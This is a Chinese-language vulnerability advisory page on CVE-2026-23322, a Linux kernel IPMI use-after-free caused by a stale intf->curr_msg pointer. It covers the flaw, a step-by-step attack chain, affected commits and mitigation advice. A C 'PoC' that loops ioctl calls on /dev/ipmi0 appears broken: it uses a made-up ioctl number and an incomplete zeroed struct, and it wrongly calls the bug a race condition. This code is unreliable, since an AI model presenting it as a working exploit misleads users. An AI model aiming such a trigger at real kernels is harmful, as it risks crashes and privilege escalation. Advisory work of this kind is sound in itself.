IPBUF安全漏洞报告
English
CVE-2026-23322 CVSS 7.8 高危

CVE-2026-23322: Linux内核IPMI释放后重用漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23322
漏洞类型
释放后重用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUAFPrivilege EscalationIPMIList CorruptionMemory Corruption

漏洞概述

Linux内核中的IPMI(智能平台管理接口)子系统中存在一个高危安全漏洞,该漏洞源于错误处理逻辑中的严重缺陷。当SMI发送者返回错误时,`smi_work()`函数在传递错误响应后会跳转至重启流程,但未能正确清理`intf->curr_msg`。这导致系统保留了指向旧消息的指针,使得`sender()`函数被再次调用时使用了同一消息。如果发送操作再次失败,系统会尝试将同一个`recv_msg`对象重复添加到用户消息列表中,从而引发列表损坏。这种损坏进一步导致内存释放后重用及空指针解引用,攻击者可利用该漏洞造成系统拒绝服务或潜在的权限提升。

技术细节

该漏洞属于典型的释放后重用及链表损坏漏洞,其根本原因在于IPMI驱动程序在处理发送错误时的状态管理缺失。漏洞触发机制依赖于`smi_work()`函数的执行流程:首先,当底层SMI发送者操作失败时,代码应清理当前消息并重置状态。然而,受影响版本的代码在执行`goto restart`跳转时,未将`intf->curr_msg`置空,且未释放`newmsg`指针。这导致`sender()`函数被再次调用时,仍然处理之前已经失败的消息。若该消息再次导致发送失败,`deliver_err_response()`函数会被第二次调用,尝试将已经在链表中的`recv_msg`节点再次添加。这种“双重添加”操作破坏了内核链表结构,导致后续的内存管理操作出错。当相关内存被释放并被重新分配后,原代码若继续访问该内存(Use-After-Free),将导致内核崩溃或允许攻击者通过控制内存内容实现提权。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获取目标系统的本地低权限访问权限(AV:L, PR:L)。
STEP 2
步骤2:触发发送错误
攻击者通过特定手段(如发送畸形数据或控制硬件状态)导致IPMI子系统的`sender()`函数返回错误。
STEP 3
步骤3:状态未清理
`smi_work()`函数处理错误后跳转至restart,未清空`intf->curr_msg`,导致消息指针残留。
STEP 4
步骤4:重复处理
系统再次调用`sender()`处理同一个残留的消息。如果攻击者能控制使其再次失败,将触发漏洞核心。
STEP 5
步骤5:列表损坏
`deliver_err_response()`被重复调用,尝试将同一节点加入链表,导致内核链表损坏。
STEP 6
步骤6:利用后果
链表损坏导致内存管理混乱,引发UAF或空指针解引用,最终导致内核崩溃或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23322: IPMI Use-After-Free * This PoC attempts to trigger the race condition by repeatedly * invoking IPMI operations that may fail, forcing the sender error path. * * Compile: gcc -o poc_ipmi poc_ipmi.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define IPMI_BMC_IOCTL 0x1 #define DEVICE "/dev/ipmi0" // or /dev/ipmidev/0 struct ipmi_req { unsigned char *addr; unsigned int addr_len; unsigned long msgid; // ... other fields ... }; int main() { int fd = -1; struct ipmi_req req; int ret; printf("[+] Attempting to open IPMI device..."); fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("open"); printf("[-] Failed to open device. Ensure IPMI is loaded and you have permissions.\n"); return 1; } printf("Done (fd=%d)\n", fd); // Initialize request with potentially malformed data to trigger sender errors memset(&req, 0, sizeof(req)); // In a real scenario, specific timing or message sequences are required // to hit the 'sender() fails' condition twice. printf("[+] Triggering the vulnerability sequence...\n"); for (int i = 0; i < 100; i++) { // Attempt to send command to trigger error path ret = ioctl(fd, IPMI_BMC_IOCTL, &req); // The loop aims to hit the error path where curr_msg is not cleared // causing the list_add corruption on subsequent failures. if (ret < 0) { // Error expected to trigger the bug } } printf("[+] Exploit attempt finished. Check kernel logs for list corruption.\n"); close(fd); return 0; }

影响范围

Linux Kernel (Versions prior to commit 594c11d0e1d445f580898a2b8c850f2e3f099368)
Linux Kernel (Versions prior to commit 65ff5d1e4410df05edfbeb7bf2d62f7681ce1d53)
Linux Kernel (Versions prior to commit c08ec55617cb9674a060a3392ea08391ab2a4f74)

防御指南

临时缓解措施
建议立即应用官方发布的内核补丁修复该漏洞。在无法立即升级的情况下,应严格限制本地用户的权限,避免不可信用户访问IPMI接口,并密切监控系统日志中是否存在与IPMI相关的内核崩溃或列表损坏错误。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表